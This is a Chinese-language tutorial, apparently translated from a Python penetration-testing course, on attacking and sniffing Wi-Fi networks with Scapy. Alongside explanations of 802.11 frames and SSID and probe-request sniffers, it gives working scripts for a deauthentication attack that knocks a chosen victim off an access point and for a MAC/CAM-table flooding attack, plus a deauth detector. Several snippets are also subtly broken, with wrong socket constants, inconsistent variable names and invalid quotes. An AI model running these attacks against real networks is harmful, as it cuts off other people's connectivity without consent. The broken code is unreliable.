📅  最后修改于: 2020-12-06 10:34:07             🧑  作者: Mango
无线系统具有很大的灵活性,但另一方面,它也会导致严重的安全问题。而且,这如何成为一个严重的安全问题-因为在无线连接的情况下,攻击者只需要具有可用的信号来进行攻击即可,而不是像有线网络一样具有物理访问权限。与在有线网络上进行渗透测试相比,对无线系统进行渗透测试更容易。我们不能真正针对无线介质采取良好的物理安全措施,如果我们离得足够近,我们将能够“听到”(或至少您的无线适配器能够听到)流过的所有内容。
在深入了解无线网络的渗透测试之前,让我们考虑讨论客户端和无线系统之间的术语和通信过程。
现在让我们学习与无线网络的渗透测试有关的重要术语。
接入点(AP)是802.11无线实现中的中心节点。该点用于将用户连接到网络中的其他用户,也可以用作无线LAN(WLAN)和固定有线网络之间的互连点。在WLAN中,AP是发送和接收数据的站点。
它是0-32字节长的人类可读文本字符串,基本上是分配给无线网络的名称。网络中的所有设备必须使用区分大小写的名称,才能通过无线网络(Wi-Fi)进行通信。
它是在无线访问点(AP)上运行的Wi-Fi芯片组的MAC地址。它是随机生成的。
它代表接入点(AP)用于传输的射频范围。
我们需要了解的另一重要事项是客户端与无线系统之间的通信过程。借助下图,我们可以理解相同的内容-
在客户端和接入点之间的通信过程中,AP会定期发送信标帧以显示其存在。该帧带有与SSID,BSSID和信道号有关的信息。
现在,客户端设备将发送探测请求以检查范围内的AP。发送探测请求后,它将等待来自AP的探测响应。探测请求包含诸如AP的SSID,供应商特定信息等信息。
现在,在获得探测请求之后,AP将发送一个探测响应,其中包含诸如支持的数据速率,功能等信息。
现在,客户端设备将发送包含其身份的身份验证请求帧。
现在作为响应,AP将发送指示接受或拒绝的认证响应帧。
认证成功后,客户端设备发送了关联请求帧,其中包含支持的数据速率和AP的SSID。
现在作为响应,AP将发送关联响应帧以指示接受或拒绝。如果接受,将创建客户端设备的关联ID。
我们可以借助原始套接字方法以及使用Scapy库来收集有关SSID的信息。
我们已经了解到mon0捕获无线数据包。因此,我们需要将监视模式设置为mon0 。在Kali Linux中,可以借助airmon-ng脚本来完成。运行此脚本后,它将为无线网卡命名为wlan1 。现在,借助以下命令,我们需要在mon0上启用监视模式-
airmon-ng start wlan1
以下是原始套接字方法, Python脚本,它将为我们提供AP的SSID-
首先,我们需要导入套接字模块,如下所示:
import socket
现在,我们将创建一个具有三个参数的套接字。第一个参数告诉我们有关包接口的信息(Linux专用的PF_PACKET和Windows的AF_INET),第二个参数告诉我们它是否是原始套接字,第三个参数告诉我们我们对所有数据包都感兴趣。
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))
现在,下一行将绑定mon0模式和0x0003 。
s.bind(("mon0", 0x0003))
现在,我们需要声明一个空列表,该列表将存储AP的SSID。
ap_list = []
现在,我们需要调用recvfrom()方法来接收数据包。为了继续进行嗅探,我们将使用无限while循环。
while True:
packet = s.recvfrom(2048)
下一行代码显示该帧是否为8位,指示信标帧。
if packet[26] == "\x80" :
if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0:
ap_list.add(packetkt[36:42])
print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))
Scapy是可以让我们轻松嗅探Wi-Fi数据包的最佳库之一。您可以在https://scapy.readthedocs.io/en/latest/上详细了解Scapy。首先,以交互方式运行Sacpy并使用命令conf获取iface的值。默认接口是eth0。现在,有了上面的圆顶,我们需要将此模式更改为mon0。它可以做到如下-
>>> conf.iface = "mon0"
>>> packets = sniff(count = 3)
>>> packets
>>> len(packets)
3
现在让我们将Scapy导入为库。此外,以下Python脚本的执行将为我们提供SSID-
from scapy.all import *
现在,我们需要声明一个空列表,该列表将存储AP的SSID。
ap_list = []
现在,我们将定义一个名为Packet_info()的函数,它将具有完整的数据包解析逻辑。它将带有参数pkt。
def Packet_info(pkt) :
在下一条语句中,我们将应用一个过滤器,该过滤器将仅通过Dot11通信,即802.11通信。接下来的行也是一个过滤器,该过滤器传递具有帧类型0(表示管理帧)和帧子类型为8(表示信标帧)的流量。
if pkt.haslayer(Dot11) :
if ((pkt.type == 0) & (pkt.subtype == 8)) :
if pkt.addr2 not in ap_list :
ap_list.append(pkt.addr2)
print("SSID:", (pkt.addr2, pkt.info))
现在,sniff函数将使用iface值mon0 (对于无线数据包)嗅探数据,并调用Packet_info函数。
sniff(iface = "mon0", prn = Packet_info)
为了实现上述Python脚本,我们需要能够使用监控模式嗅探空气的Wi-Fi卡。
为了检测接入点的客户端,我们需要捕获探测请求帧。就像使用Scapy在SSID嗅探器的Python脚本中所做的那样,我们可以做到这一点。我们需要提供Dot11ProbeReq来捕获探测请求帧。以下是检测访问点客户端的Python脚本-
from scapy.all import *
probe_list = []
ap_name= input(“Enter the name of access point”)
def Probe_info(pkt) :
if pkt.haslayer(Dot11ProbeReq) :
client_name = pkt.info
if client_name == ap_name :
if pkt.addr2 not in Probe_info:
Print(“New Probe request--”, client_name)
Print(“MAC is --”, pkt.addr2)
Probe_list.append(pkt.addr2)
sniff(iface = "mon0", prn = Probe_info)
从一个月的时间来看,了解如何进行无线攻击非常重要。在本节中,我们将讨论两种无线攻击-
取消身份验证(deauth)攻击
MAC泛洪攻击
在客户端设备和接入点之间的通信过程中,每当客户端要断开连接时,它都需要发送取消身份验证帧。响应于来自客户端的那个帧,AP还将发送一个去认证帧。攻击者可以通过欺骗受害者的MAC地址并将取消身份验证帧发送到AP,从正常过程中获得好处。因此,客户端和AP之间的连接被断开。以下是执行取消身份验证攻击的Python脚本-
让我们首先将Scapy导入为库-
from scapy.all import *
import sys
以下两个语句将分别输入AP和受害者的MAC地址。
BSSID = input("Enter MAC address of the Access Point:- ")
vctm_mac = input("Enter MAC address of the Victim:- ")
现在,我们需要创建取消身份验证框架。可以通过执行以下语句来创建它。
frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/ Dot11Deauth()
下一行代码代表发送的数据包总数。这里是500和两个数据包之间的间隔。
sendp(frame, iface = "mon0", count = 500, inter = .1)
执行后,以上命令生成以下输出-
Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)
接下来是创建deauth帧,从而代表客户端将其发送到访问点。这将使它们之间的连接被取消。
这里的问题是我们如何使用Python脚本检测deauth攻击。执行以下Python脚本将有助于检测此类攻击-
from scapy.all import *
i = 1
def deauth_frame(pkt):
if pkt.haslayer(Dot11):
if ((pkt.type == 0) & (pkt.subtype == 12)):
global i
print ("Deauth frame detected: ", i)
i = i + 1
sniff(iface = "mon0", prn = deauth_frame)
在上面的脚本中,语句pkt.subtype == 12表示取消身份验证帧,而全局定义的变量I表示数据包的数量。
上面脚本的执行将产生以下输出-
Deauth frame detected: 1
Deauth frame detected: 2
Deauth frame detected: 3
Deauth frame detected: 4
Deauth frame detected: 5
Deauth frame detected: 6
MAC地址泛洪攻击(CAM表泛洪攻击)是一种网络攻击,其中连接到交换机端口的攻击者通过大量具有不同假源MAC地址的以太网帧来泛洪交换机接口。当大量MAC地址涌入表且达到CAM表阈值时,就会发生CAM表溢出。这将导致交换机像集线器一样,在所有端口上充斥网络流量。这样的攻击很容易发动。以下Python脚本有助于启动此类CAM泛洪攻击-
from scapy.all import *
def generate_packets():
packet_list = []
for i in xrange(1,1000):
packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP())
packet_list.append(packet)
return packet_list
def cam_overflow(packet_list):
sendp(packet_list, iface='wlan')
if __name__ == '__main__':
packet_list = generate_packets()
cam_overflow(packet_list)
这种攻击的主要目的是检查交换机的安全性。如果要减轻MAC泛洪攻击的影响,我们需要使用端口安全性。